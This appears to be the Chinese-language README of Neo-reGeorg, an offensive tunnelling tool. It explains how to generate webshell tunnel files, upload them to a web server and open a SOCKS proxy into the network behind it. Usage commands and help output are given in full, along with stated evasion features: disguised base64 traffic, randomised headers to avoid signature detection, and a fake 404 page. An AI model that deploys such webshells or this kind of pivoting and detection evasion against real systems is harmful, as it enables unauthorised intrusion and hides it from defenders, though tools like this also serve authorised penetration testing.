Neo-reGeorg

Neo-reGeorg 是一个旨在积极重构 reGeorg 的项目，目的是：

提高 tunnel 连接安全性
提高可用性，避免特征检测
提高传输内容保密性
解决 reGeorg 现存在的问题，修复部分小BUG

Features

传输内容经过变形base64加密，伪装成base64编码
GET 请求响应可定制化 (如伪装的404页面)
HTTP Headers 的指令随机生成，避免特征检测
HTTP Headers 可定制化
兼容python2 / python3

Dependencies

https://github.com/kennethreitz/requests

Basic Usage

Step 1. 设置密码生成 tunnel.(aspx|ashx|jsp|php) 并上传到WEB服务器

$ python neoreg.py generate -k password

[+] Create neoreg server files:
   => neoreg_server/tunnel.nosocket.php
   => neoreg_server/tunnel.js
   => neoreg_server/tunnel.php
   => neoreg_server/tunnel.ashx
   => neoreg_server/tunnel.aspx
   => neoreg_server/tunnel.tomcat.5.jsp
   => neoreg_server/tunnel.jsp

Step 2. 使用 neoreg.py 连接WEB服务器，在本地建立 socks 代理

$ python3 neoreg.py -k password -u http://xx/tunnel.php
+————————————————————————+
Log Level set to [ERROR]
Starting socks server [127.0.0.1:1080], tunnel at [http://k/tunnel.php]
+————————————————————————+

注意，如果你的工具，如NMap不支持socks代理，请使用 proxychains

Advanced Usage

支持生成服务端，默认 GET 请求响应指定的页面内容 (如伪装的404页面)

$ python neoreg.py generate -k <you_password> –file 404.html
$ pytohn neoreg.py -k <you_password> -u <server_url> –skip

如服务端WEB，需要设置代理才能访问

$ pytohn neoreg.py -k <you_password> -u <server_url> –proxy socks5://10.1.1.1:8080

如需Authorization认证，或者定制的Header或Cookie

$ pytohn neoreg.py -k <you_password> -u <server_url> -H ‘Authorization: cm9vdDppcyB0d2VsdmU=’ –cookie “key=value”

更多关于性能和稳定性的参数设置参考 -h 帮助信息

生成服务端脚本

$ python neoreg.py generate -h
usage: neoreg.py [-h] -k KEY [-o DIR] [-f FILE] [–read-buff Bytes]

Generate neoreg webshell

optional arguments:
  -h, --help            show this help message and exit
  -k KEY, --key KEY     Specify connection key.
  -o DIR, --outdir DIR  Output directory.
  -f FILE, --file FILE  Camouflage html page file
  --read-buff Bytes     Remote read buffer.(default: 513)

连接服务端

$ python neoreg.py -h
usage: neoreg.py [-h] -u URI -k KEY [-l IP] [-p PORT] [-s] [-H LINE] [-c LINE]
[-x LINE] [–read-buff Bytes] [–read-interval MS]
[–max-threads N] [-v]

Socks server for Neoreg HTTP(s) tunneller

optional arguments:
  -h, --help            show this help message and exit
  -u URI, --url URI     The url containing the tunnel script
  -k KEY, --key KEY     Specify connection key
  -l IP, --listen-on IP
                        The default listening address.(default: 127.0.0.1)
  -p PORT, --listen-port PORT
                        The default listening port.(default: 1080)
  -s, --skip            Skip usability testing
  -H LINE, --header LINE
                        Pass custom header LINE to server
  -c LINE, --cookie LINE
                        Custom cookies to server
  -x LINE, --proxy LINE
                        proto://host[:port] Use proxy on given port
  --read-buff Bytes     Local read buffer, max data to be sent per
                        POST.(default: 1024)
  --read-interval MS    Read data interval in milliseconds.(default: 100)
  --max-threads N       Proxy max threads.(default: 1000)
  -v                    Increase verbosity level (use -vv or more for greater
                        effect)